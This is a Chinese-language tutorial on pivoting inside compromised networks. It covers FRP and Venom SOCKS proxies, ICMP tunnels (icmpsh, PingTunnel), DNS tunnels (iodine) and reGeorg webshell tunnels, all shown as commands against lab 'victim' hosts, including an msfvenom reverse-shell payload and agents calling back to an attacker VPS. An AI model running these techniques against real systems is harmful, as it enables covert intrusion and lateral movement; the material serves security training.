內網滲透 | 隧道穿透與代理轉發


隧道穿透與代理轉發

注:本文所介紹所有工具僅限於安全研究和教學,用戶承擔因使用此工具而導致的所有法律和相關責任! 作者不承擔任何法律和相關責任!

隧道穿透與端口轉發

什么是隧道?

在滲透測試中,進入內網后,我們要判斷流量是否能夠出的去、進的來。

在實際的網絡情況下,流量會經過很多的邊界設備,在一般的企業內網中,可能會存在 IDP、IPS、防火牆等設備,如果異常的話,就會直接將通信阻斷;這里我們說的隧道,就是繞過端口屏蔽的通信方式。防火牆兩端的數據包通過防火牆所允許的數據包類型或者端口進行封裝,然后穿過防火牆,與對方通信。當被封裝的數據包達到了另外的地址的時候,解包還原,並將還原后的數據包發送到相應的服務器上。

常見的隧道包括三個大類:網絡層、應用層、傳輸層

出網探測

查看是否禁止了出站IP或者禁止了出站端口或者禁止了出站協議。

情況一: IP白名單

目標主機設置了嚴格的策略,防火牆只允許目標內網機器主動連接公網指定的IP

這樣的話,沒法反彈shell。

情況二:出站端口限制

Linux

1.Linux自帶命令

for i in {1..65500};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done >> result.txt

2.nmap探測

nmap -sT -Pn -p- -v www.baidu.com

3.masscan探測

masscan -p 80,443,8000-9000 IP --rate=10000

Windows

如果RDP連接上去,可以使用圖形化工具(如御劍)。

如果是webshell,可以使用fscan、nmap。

fscan -h 127.0.0.1 -p 1-65535

情況三:禁止出站協議

對於禁止出站協議的情況,需要探測目標機器允許哪些協議出網。

可以用以下命令判斷:

命令 協議
ping icmp
curl http
nslookup dns

目標出網隧道

如果目標出網,我們就正常Socks5反向代理打通隧道

工具有很多,什么Lcx,Ew等等

下面介紹兩種用的比較多且比較簡單的內網穿透工具

FRP+Proxifier實現內網socks5反向代理

https://github.com/fatedier/frp

Frp分為服務端和客戶端,從名字就可以看出來——frpc(client)|frps(server)

image

1.在服務端上配置frps.ini文件

git clone https://github.com/fatedier/frp/releases/download/v0.38.0/frp_0.38.0_linux_amd64.tar.gz
tar -zxvf frp_0.38.0_linux_amd64.tar.gz
cp -r frp_0.38.0_linux_amd64 frp 						   # 重命名Dir,方便后續操作
rm -rf ./frp_0.38.0_linux_amd64
rm -rf ./frp_0.38.0_linux_amd64.tar.gz
cd frp
rm -rf frpc &rm -rf frpc_full.ini &rm -rf frpc.ini         # 將客戶端配置刪除 
vim frps.ini

配置如下:

[common]
bind_addr = 0.0.0.0						# 服務端監聽地址 默認0.0.0.0
bind_port = 7000						# 客戶端和服務端連接的端口	
dashboard_port = 7500					# 服務端儀表板的端口
#token = 12345678						# 連接口令
dashboard_user = admin					# 儀表盤用戶
dashboard_pwd = admin					# 儀表盤口令
log_file = ./frps.log					# frp日志
log_level = info    					# log_level記錄的日志級別
log_max_days = 3     					# log_max_days日志留存3天
authentication_timeout = 0    			# authentication_timeout超時時間
max_pool_count = 50						# max_pool_count最大鏈接池

如果沒有必要,端口均可使用默認值,token、user和password項請自行設置。

“bind_port”表示用於客戶端和服務端連接的端口,這個端口號我們之后在配置客戶端的時候要用到。

“dashboard_port”是服務端儀表板的端口,若使用7500端口,在配置完成服務啟動后可以通過瀏覽器訪問 x.x.x.x:7500 (其中x.x.x.x為VPS的IP)查看frp服務運行信息。

“token”是用於客戶端和服務端連接的口令,請自行設置並記錄,稍后會用到。

“dashboard_user”和“dashboard_pwd”表示打開儀表板頁面登錄的用戶名和密碼,自行設置即可。

“log_file”為frp日志文件

“log_level”記錄的日志級別

“log_max_days”日志留存天數

“max_pool_count”最大鏈接池

執行命令等待frpc連接

./frps -c frps.ini

2.在客戶端上下載frp並配置frpc.ini文件

配置frpc.ini文件

[common]
server_addr = vps_ip
server_port = 7000
tls_enable = ture
pool_count = 5

[plugin_socks]
type = tcp
remote_port = 8888
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true

server_addr:連接服務端的地址
server_port :連接服務端的端口
tls_enable:啟用 TLS 協議加密連接
pool_count:連接池大小
remote_port:是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口

執行frpc

./frps -c frps.ini

成功連接

image

訪問服務端儀表盤,連接成功

image

3.配置proxyfier

打開Proxy Server

image

成功訪問內網,在本機做掃描啥的也很方便

image

本機做實驗懶得配Rules了,覺得看的眼花你也可以加點應用限制

image

Venom多級代理

Venom項目地址:https://github.com/Dliv3/Venom/releases

Venom是一款由騰訊玄武實驗室大佬Dliv3等人為滲透測試人員設計的使用Go開發的多級代理工具

使用非常的簡單,支持可視化網絡拓撲

agent監聽端口,admin發起連接:

./agent_linux_x64 -lport 7777
./admin.exe -rhost 192.168.110.131 -rport 7777

image

admin監聽端口,agent發起連接:

一般使用這種

./admin.exe -lport 9999
./agent_linux_x64 -rhost 192.168.110.1 -rport 9999

image

打開help

help                                     Help information.
exit                                     Exit.
show                                     Display network topology.
getdes                                   View description of the target node.
setdes     [info]                        Add a description to the target node.
goto       [id]                          Select id as the target node.
listen     [lport]                       Listen on a port on the target node.
connect    [rhost] [rport]               Connect to a new node through the target node.
sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
shell                                    Start an interactive shell on the target node.
upload     [local_file]  [remote_file]   Upload files to the target node.
download   [remote_file]  [local_file]   Download files from the target node.
socks      [lport]                       Start a socks5 server.
lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

show 顯示網絡拓撲

image

goto ID 進入某agent節點

image

shell 獲取節點的交互式shell

image

socks [port] 本地與節點1的Socks5代理,代理端口為port

image

setdes/getdes 設置/獲取節點信息描述,起標記作用

image

upload/download 向節點上傳/從節點下載文件

image

lforward/rforward 將本地端口轉發到遠程/將遠程端口轉發到本地

 rforward 192.168.110.131 80 8889

rforward 將node1網段的192.168.110.131的80轉發到admin節點本地的8889端口

image

二級代理

拓撲基本如圖:

image

我們最終要在victim1上建立一級代理,在victim2上建立二級代理,我們可以攻破

我們剛開始拿到了victim1的shell

上傳我們的venom,啟動admin和agent端

VPS(kali):

./admin_linux_x64 -lport 9999

Victim1:

./agent_linux_x64 -rhost VPS_ip -rport 9999 -passwd moonsec

一級代理此時就建立好了

在一級代理下,我們也很順利地getshell了victim2

我們可以配合Proxyfier使webshell工具(Antsword、Godzilla)走一級代理,這樣就能連上我們傳到內網Victim2服務器的shell

然后在Victim1服務器上開啟監聽端口:

(admin node) >>> goto 1
(node 1) >>> listen 9998

Victim2服務器反向去連Victim1:

agent64.exe -rhost victim1_IP -rport 9998

執行show,看到多了個node 2

image

(node 1) >>> goto 2

在節點2上開啟socks5代理隧道,端口9998

(node 2) >>> socks 9998

然后就可以在Proxyfier添加9998代理

我們的二級代理就配置成功,可以用Proxyfier漫游Victim2的內網,進而打到Victim3

多級代理

其實多級代理也都是在前一級代理的基礎上再建立一個代理

比如三級代理:

假設我們又打到了victim3,發現victim3是個雙網卡,還有層內網,我們要在victim3上建立代理

我們的webshell工具也走了9998——剛才的二級代理,能連到Victim3的shell並上傳agent客戶端

直接在victim2上開啟監聽,監聽9997端口:

(node 2) >>> listen 9997

讓victim3發起連接:

agent64.exe -rhost Victim2_ip -rport 9997

執行show,看到多了個node 3

image

(node 2) >>> goto 3

在節點2上開啟socks5代理隧道,端口9998

(node 3) >>> socks 9997

然后設置proxyfier走9997代理,又可以漫游victim3的內網

其他多級代理也是在一級一級的基礎上去添加代理

ICMP隧道

有時候主機可能只出ICMP,那我們只能搭建ICMP隧道

ICMP協議 就是我們常說的 ping 命令,ping通即可通信。一般防火牆不會禁掉ICMP

常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp

icmpsh隧道

服務端下載(Kali)

git clone https://github.com/bdamele/icmpsh

受控端直接上傳

然后關閉服務端的 ICMP 應答:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

實驗完了記得取消就設置為 0

官方文檔說運行run.sh

但實際上會報錯

image

然后是環境配置,pip

python2的pip2:

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

安裝impacket

pip2 install impacket -i https://pypi.douban.com/simple

服務端啟動:

python2 icmpsh_m.py <服務端IP> <受控端IP>

受控端啟動(Windows):

.\icmpsh.exe -t <服務端IP>

成功得到Shell

image

用Wireshark抓包可以看到全是ICMP包

image

PingTunnel+ew實現socks5代理

PingTunnel 是TCP/UDP/SOCKS5 流量偽裝成ICMP流量進行轉發的工具。

image

注意,在客戶端中運行一定要加noprint nolog兩個參數,否則會生成大量的日志文件

環境搭建

網絡拓撲:

image

假設我們已經獲得了Web服務器的shell,且該服務器只支持ICMP出網,內網主機Win7此時開啟3389RDP

我們需要通過建立ICMP隧道主要實現兩個目標:物理機通過代理RDP、CS/MSF上線

下載Pingtunnel:
Kali

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

報錯確實pacp.h

image

解決辦法:

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
tar zxvf libpcap-1.9.0.tar.gz 
cd libpcap-1.9.0 
./configure

又報錯 configure: error: Neither flex nor lex was found

image

解決辦法:

apt-get install flex bison

重新運行即可

./configure
make
sudo make install

回到Pingtunnel目錄,重新執行

cd ../PingTunnel
make && make install

執行成功后ptunnel命令就已經在bin目錄了

或者,你也可以去https://github.com/esrrhs/pingtunnel/releases直接下載執行文件

目標機win2008也傳上pingtunnel.exe

一、MSF/CS上線

在攻擊機上運行pingtunnel,開啟服務器模式

./pingtunnel -type server

image

客戶端(win2008)運行

pingtunnel.exe -type client -l 127.0.0.1:8888 -s 192.168.110.131 -t 192.168.110.131:8888 -tcp 1 -noprint 1 -nolog 1 

-l 用來監聽木馬傳輸流量的端口

-s 隧道另一端IP,即我們攻擊機的IP

-t 轉發端口,將本地8888轉發到攻擊機8888端口

攻擊機這邊已經收到連接信息了

image

MSF上線

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f exe > ./loader.exe

監聽器配置如下:

image

成功上線

image

二、ew+socks5代理實現遠程桌面

環境配置——開啟3389:

在win7把這什么Remote開頭的服務全開就完事了

image

再開啟“允許遠程桌面”選項

image

netstat -ano

image

所有IP都可以連接3389,待會兒我們就可以遠程桌面了

打通隧道:

攻擊機(Kali):

./ew_for_linux64 -s rcsocks -l 10080 -e 8898

10080作為連接隧道的端口,8898作為隧道的通道,可以想象為,通向內網主機的路口為10080,走的這條路為8898。8898上所有的人(流量)都會通往10080這個路口。

image

開啟PingTunnel服務端

將ew啟動的sock5協議轉換為icmp協議來隱藏傳輸

./pingtunnel -type server

image

Web服務端(WinServer2008):

客戶端執行PingTunnle

將8888這條路上的sock5流量信息隱藏為icmp類型的數據在本肉雞的9999端口進行轉發

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.110.131 -t 192.168.110.131:8898 -sock5 -1 -noprint 1 -nolog 1 

image

在9999端口開啟轉發流量

ew_for_Win.exe -s rssocks -d 127.0.0.1 -e 9999

image

攻擊機這邊回顯,隧道打通

image

使用proxyfier代理

image

check成功

image

成功遠程桌面

image

DNS隧道

DNS隧道利用原理如圖:

image

如果我們在不出網機器構造一個惡意的域名(***.test.cn),本地的DNS服務器無法給出回答時,就會以迭代查詢的方式通過互聯網定位到所查詢域的權威DNS服務器。最后,這條DNS請求會落到我們提前搭建好的惡意DNS服務器上,於是乎,我們的不出網主機就和惡意DNS服務器交流上了。

使用Iodine進行DNS隧道搭建

環境准備

GitHub:https://github.com/boazsegev/iodine

一台VPS用來提供DNS服務(假)

一台內網主機

首先,在DNS添加記錄

image

配置完之后,可以ping一下dns.xxx.com,觀察是否能ping通。

image

VPS安裝iodine

apt-get install iodine

在VPS上運行iodine的服務端iodined

 iodined -f -c -P d1m0n 10.1.1.2 dns2tcp.xxx.xxx -DD

-f:在前台運行
-c:禁止檢查所有傳入請求的客戶端IP地址。
-P:客戶端和服務端之間用於驗證身份的密碼。
-D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。
這里的10.1.1.2為自定義局域網虛擬IP地址,建議不要與現有網段沖突
注意!填寫的dns2tcp地址為NS記錄

image

運行客戶端iodine,這里使用kali作為客戶端,因為kali默認是安裝好iodine的

iodine -f -P 0xL4k1d dns2tcp.xxx.xxx  -M 200

-r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道
-M:指定上行主機的大小。
-m:調節最大下行分片的大小。
-f:在前台運行
-T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定數據編碼規范。
-P:客戶端和服務端之間用於驗證身份的密碼。
-L:指定是否開啟懶惰模式,默認開啟。
-I:指定兩個請求之間的時間間隔。

隧道建立成功

image

ping一下剛才設置的虛擬IP——10.1.1.2

image

而且本地多了個網卡和同段IP 10.1.1.1

image

到這就出網了

建立Socks代理

對內網滲透來說,我們肯定是要橫向移動的。DNS隧道幫助我們出網,還需要再搭建一個socks代理便於我們橫向移動。

可以用比較輕便的ssh命令,將我們的客戶端作為代理服務器使用

SSH 命令的三種代理功能(-L/-R/-D)

ssh -N -D 9999 root@10.1.1.2

-N 指示SSH不要啟動shell,因為我們只是想創建代理

-D 設置動態端口轉發,SOCKS代理端口為8080

輸入10.1.1.1(kali)機器密碼,本地利用proxychains等類似工具連接本地的1111端口的sock5連接即可代理10.1.1.1的網絡。

安裝proxychains

sudo apt-get install proxychains

修改配置

vim /etc/proxychains.conf

設置代理端口為9999

image

curl一下看看成功沒

image

成功了,接下來就可以把10.1.1.2當跳板機漫游了

不出網HTTP隧道

不出網的環境在實戰中很常見,所以HTTP隧道是實戰中用的最多的,HTTP隧道的優點相對於以上兩個隧道的話就是穩定,ICMP丟包嚴重,而且非常慢,DNS也不穩定,有域名容易被溯源,他們上線都很麻煩。

reGeorg

reGeorg的使用

https://github.com/sensepost/reGeorg

把tunnel.nosocket.php傳到www目錄

訪問

image

回顯以下內容即成功

本地運行reGeorgSocksProxy.py

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.nosocket.php

接下來接收127.0.0.1:8888的代理即可內網0漫游

但由於reGeorg在內網穿透中的廣泛使用,很多殺軟會把reGeorg殺掉,我們上傳就要做免殺處理,或者使用下面一款國內大佬開發的加密"reGeorg"——Neo-reGeorg

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

image

Step1:設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB服務器

$ python neoreg.py generate -k 0xL4k1d

image

這一段應該就是我們的密鑰

image

將其上傳成功后,我們本地開啟代理

python neoreg.py -k 0xL4k1d -u http://192.168.110.1/tunnel.aspx

image

之后就可以配合proxyfier、proxychains工具代理本地1080進行漫游了

總結

這次給大家介紹了一些常見的隧道穿透工具的使用,主要都是建立socks5(畢竟大家都是成年人,肯定全都要,端口轉發用的不舒服)。然后在實驗的時候,因為有些環境套的比較深,筆者有時也會搞錯端口,所以勸大家在做代理轉發,尤其是多級代理的時候一定要做拓撲圖,代着代着端口就亂啦。

感謝閱讀!

Reference:

https://blog.csdn.net/weixin_42652002/article/details/112070453

https://www.cnblogs.com/cute-puli/p/15213394.html

https://zhuanlan.zhihu.com/p/158584490

https://www.cnblogs.com/hetianlab/p/15189530.html

https://www.cnblogs.com/hackmang/p/14516969.html

https://sspai.com/post/52523

https://www.jianshu.com/p/65e5dc421efd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM